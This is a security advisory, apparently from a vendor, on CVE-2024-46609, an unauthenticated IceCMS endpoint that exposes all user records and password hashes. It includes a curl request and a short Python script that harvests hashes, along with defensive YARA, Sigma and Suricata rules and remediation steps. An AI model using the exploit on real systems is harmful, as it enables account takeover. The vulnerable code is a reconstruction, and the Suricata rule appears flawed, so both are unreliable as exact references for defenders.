CVE-2024-46609

Executive Summary

CVE-2024-46609 is an access control vulnerability in IceCMS v3.4.7 and earlier. The CheckVip function in UserController.java fails to enforce authentication, allowing unauthenticated attackers to retrieve all user information, including password hashes. This is a critical information disclosure flaw that can lead to account takeover and lateral movement within the application.

Supply Chain & Package Security

IceCMS is a Java-based content management system. The vulnerability exists in the core application code, not in a third-party package. However, the lack of a patch from the vendor means that any organization using IceCMS is at risk. The application may be distributed via direct download or internal repositories, making supply chain verification difficult.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – All user data, including passwords, is exposed.
• Integrity (I): None (N) – Data cannot be modified.
• Availability (A): None (N) – Service availability is not impacted.

CVSS Score: 7.5 (High) – The exposure of password hashes significantly increases the risk of account compromise.

Deep Dive & Mechanics

The vulnerability resides in the CheckVip method within UserController.java. This method is intended to verify if a user has VIP status, but it lacks any authentication or authorization checks. The endpoint likely maps to a URL such as /user/checkVip or similar.

Root Cause: The CheckVip function does not validate the user's session or token before processing the request. Instead, it directly queries the database and returns all user records, including sensitive fields like password.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint. The server responds with a JSON array containing all user objects, including password hashes.

Impact: With password hashes, an attacker can attempt offline brute-force or dictionary attacks to recover plaintext passwords. If successful, they can log in as any user, potentially gaining administrative access.

Vulnerable vs. Patched Code

Vulnerable Code (IceCMS <= 3.4.7):

// UserController.java
@GetMapping("/checkVip")
public ResponseEntity<List<User>> checkVip() {
    List<User> users = userService.getAllUsers();
    return ResponseEntity.ok(users);
}

Patched Code (Hypothetical):

// UserController.java
@GetMapping("/checkVip")
public ResponseEntity<?> checkVip(HttpServletRequest request) {
    // Authenticate user
    User currentUser = getAuthenticatedUser(request);
    if (currentUser == null) {
        return ResponseEntity.status(401).body("Unauthorized");
    }
    // Only return the current user's VIP status, not all users
    boolean isVip = userService.isVip(currentUser.getId());
    return ResponseEntity.ok(Collections.singletonMap("vip", isVip));
}

The patched version adds authentication and restricts the response to only the requesting user's VIP status.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of IceCMS v3.4.7 or earlier.
• Network access to the application.

Exploit Steps:

1. Identify the vulnerable endpoint. Common paths include /user/checkVip, /api/user/checkVip, or /checkVip.
2. Send a GET request without any authentication headers.

Example Request:

curl -X GET http://target.com/user/checkVip

Example Response:

[
  {
    "id": 1,
    "username": "admin",
    "password": "$2a$10$...",
    "email": "admin@example.com",
    "role": "admin"
  },
  {
    "id": 2,
    "username": "user1",
    "password": "$2a$10$...",
    "email": "user1@example.com",
    "role": "user"
  }
]

3. Extract password hashes and attempt offline cracking using tools like Hashcat or John the Ripper.

Automated Exploit (Python):

import requests
import sys

def exploit(target_url):
    endpoint = target_url.rstrip('/') + '/user/checkVip'
    try:
        response = requests.get(endpoint, timeout=10)
        if response.status_code == 200:
            users = response.json()
            for user in users:
                print(f"User: {user['username']}, Hash: {user['password']}")
        else:
            print(f"Failed: HTTP {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to /user/checkVip or similar endpoints without authentication tokens.
• Look for anomalous data exfiltration patterns, such as large JSON responses containing user objects.

Mitigation:

• Immediately restrict access to the vulnerable endpoint using a Web Application Firewall (WAF) or reverse proxy.
• Implement authentication checks in the CheckVip function.
• If patching is not possible, disable the endpoint entirely.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /user/checkVip or /api/user/checkVip without Authorization headers.
• Responses containing JSON arrays with fields username, password, email, and role.

File IOCs:

• Log entries showing repeated access to the vulnerable endpoint from the same IP.
• Unauthorized login attempts following the data disclosure.

System IOCs:

• Unexpected user accounts being created or modified.
• Elevated privileges assigned to non-admin users.

Detection Engineering

YARA Rule

rule CVE_2024_46609_IceCMS_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2024-46609 in IceCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-46609"
    strings:
        $s1 = "/user/checkVip" ascii wide nocase
        $s2 = "/api/user/checkVip" ascii wide nocase
        $s3 = "\"password\":" ascii wide
        $s4 = "\"username\":" ascii wide
    condition:
        any of ($s1, $s2) and all of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-46609 IceCMS Unauthenticated User Data Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable IceCMS endpoint that return user data including passwords.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/user/checkVip'
            - '/api/user/checkVip'
    condition: selection
falsepositives:
    - Legitimate admin testing (unlikely without authentication)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46609 IceCMS Unauthenticated User Data Disclosure"; flow:to_server; http.method; content:"GET"; http.uri; content:"/user/checkVip"; nocase; http.uri; content:"/api/user/checkVip"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or commenting out the CheckVip method in UserController.java.
2. Implement authentication for all user-related endpoints.
3. Force password resets for all users, as their hashes may have been compromised.

Long-Term Fix:

• Apply the official patch once released by the vendor.
• Conduct a security audit of all controller methods to ensure proper access controls.
• Use a Web Application Firewall (WAF) to block requests to known vulnerable paths.

Workaround:

• If source code access is unavailable, use a reverse proxy (e.g., Nginx) to block requests to /user/checkVip:

location /user/checkVip {
    deny all;
    return 403;
}

Valters IT
Securing Digital Frontiers